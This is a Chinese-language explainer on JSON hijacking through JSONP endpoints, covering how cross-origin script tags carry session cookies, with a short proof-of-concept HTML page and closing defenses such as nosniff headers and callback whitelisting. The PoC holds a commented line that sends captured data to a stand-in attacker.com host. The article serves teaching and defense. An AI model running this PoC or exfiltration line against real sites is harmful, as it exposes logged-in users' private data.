在我们日常的网络交互中,JSON 数据早已无处不在,它以一种轻量、易读的格式承载着各种信息,从用户的个人资料到购物车清单,无所不包。然而,这份看似无害的数据,在某些特定的情境下,却可能成为攻击者窥视用户隐私的窗口。我们今天要深入探讨的,正是这样一个颇具迷惑性的漏洞——JSON 劫持,或者说,它的利用方法、核心原理,乃至如何构建一个概念验证(PoC)来展示其威力。
你可能会问,JSON 劫持究竟是怎么回事?它不是那种直接修改数据库的攻击,更像是某种“旁敲侧击”的艺术。想象一下,你正在浏览一个完全无害的网站,但实际上,这个网站可能偷偷地在后台加载你常用电商平台的“订单历史”或者“个人账户余额”数据。这听起来有点不可思议,但其实,这正是 JSON 劫持攻击的核心所在。
核心的攻击原理,其实离不开 JavaScript 和浏览器同源策略(Same-Origin Policy)之间的微妙关系。我们都知道,浏览器为了安全,严格限制了不同源的脚本对彼此数据进行操作。但是,这里有一个关键点,我们不得不提:`<script>` 标签。是的,就是那个用于加载 JavaScript 代码的 `<script>` 标签,它天生就拥有跨域加载的能力。当服务器端将敏感数据以 JSON 格式返回时,如果它被包裹在一个函数调用中(也就是我们常说的 JSONP 格式,JSON with Padding),攻击者就有了可乘之机。
换句话说,如果一个网站的某个 API 端点,比如 `/api/user/profile`,在被请求时,不仅仅返回 `{“name”: “Alice”, “email”: “alice@example.com”}` 这样的纯 JSON,而是返回 `callback({“name”: “Alice”, “email”: “alice@example.com”})` 这种形式,那么问题就可能出现了。攻击者可以在自己的恶意页面上,通过一个 `<script>` 标签引入这个跨域的 JSONP 接口。一旦用户在登录状态下访问恶意页面,浏览器便会带着用户的认证信息(比如 Cookie)去请求这个接口,服务器愉快地返回数据,然后这段数据,以 JavaScript 代码的形式,在攻击者的页面上执行了。
呃,或许应该这样说,在更古老的浏览器或者特定配置下,攻击者甚至可以通过一些“原型链污染”或者“setter 函数劫持”的技巧来捕获纯 JSON 响应。这就像在显微镜下观察一块集成电路板,你得仔细辨别每个微小的焊点和走线,才能理解电流的流向。攻击者可能会利用 `Object.prototype` 或者 `Array.prototype` 的特性,预先定义一些 getter/setter 属性。当返回的 JSON 数据被解析(在某些场景下,例如 `<script>` 标签加载纯 JSON 数组,然后试图被全局解析时),这些预设的陷阱就会被触发,从而静默地捕获数据。
举个例子,一个经典的 JSON 劫持漏洞利用方法,可能涉及以下几个步骤。首先,攻击者会构建一个恶意的 HTML 页面,其中包含一个 `<script>` 标签,其 `src` 属性指向目标网站的某个敏感 JSONP 接口。例如,`<script src=”https://vulnerable.com/api/user/orders?callback=handleOrders”></script>`。在这里,`handleOrders` 是攻击者页面上预先定义的一个 JavaScript 函数。当受害者在登录状态下访问攻击者的恶意页面时,浏览器会自动携带受害者在 `vulnerable.com` 上的会话 Cookie 去请求 `api/user/orders`。
服务器收到请求,验证 Cookie 后,会将受害者的订单数据包裹在 `handleOrders(…)` 函数调用中返回。由于这是一个 `<script>` 标签加载的内容,浏览器会将其作为 JavaScript 代码执行,于是 `handleOrders` 函数就被调用了,并且将受害者的敏感订单数据作为参数传递了进来。此时,`handleOrders` 函数内部,攻击者就可以为所欲为地处理这些数据了——将其发送到自己的服务器,或者在本地进行展示等等。
这种攻击的精妙之处在于,它利用了浏览器的一个“特性”而非“缺陷”,同时结合了用户会话管理的脆弱性。它不需要直接绕过同源策略,而是巧妙地利用了 `<script>` 标签的跨域加载能力来执行代码,从而间接获取了数据。从某种角度看,这就像是攻击者在受害者的浏览器里搭了一个临时的窃听站,监听着来自目标网站的“广播”。
那么,一个实战的 JSON 劫持 PoC 会是什么样子呢?它通常会是一个简短的 HTML 文件,可能长这样:
<!DOCTYPE html>
<html>
<head>
<title>JSON 劫持 PoC</title>
</head>
<body>
<h1>加载您的敏感数据中...</h1>
<script>
// 攻击者定义的函数,用于捕获 JSONP 数据
function sensitiveDataCallback(data) {
console.log("成功劫持到敏感数据:", data);
// 实际上这里会将数据发送到攻击者的服务器
// 比如 new Image().src = "https://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data));
document.body.innerHTML += "<p>您的数据已暴露:<pre>" + JSON.stringify(data, null, 2) + "</pre></p>";
}
// 引入目标网站的 JSONP 接口
// 假设 target.com/api/profile 接口会返回 sensitiveDataCallback(...) 格式的数据
</script>
<script src="https://target.com/api/profile?callback=sensitiveDataCallback"></script>
</body>
</html>
当用户在登录 `target.com` 的情况下访问这个 PoC 页面时,`target.com` 返回的个人资料数据,就会被 `sensitiveDataCallback` 函数捕获并显示出来。这真是让人细思极恐,不是吗?
防御这种攻击,其实也有一些策略。比如说,避免使用 JSONP 来传输敏感数据,或者至少,对 JSONP 的回调函数名进行严格的白名单验证。更普遍的做法是,对于需要认证的 API 接口,强制返回标准的 JSON 而非 JSONP,并设置 `Content-Type: application/json` 和严格的 `X-Content-Type-Options: nosniff` 头部,这样可以阻止浏览器将响应解析为脚本。此外,引入 CSRF Token 也是一个不错的防御手段,因为劫持通常也是一种 CSRF 攻击的变体。但其实,最根本的,或许还是对数据传输安全边界的深刻理解与警惕吧。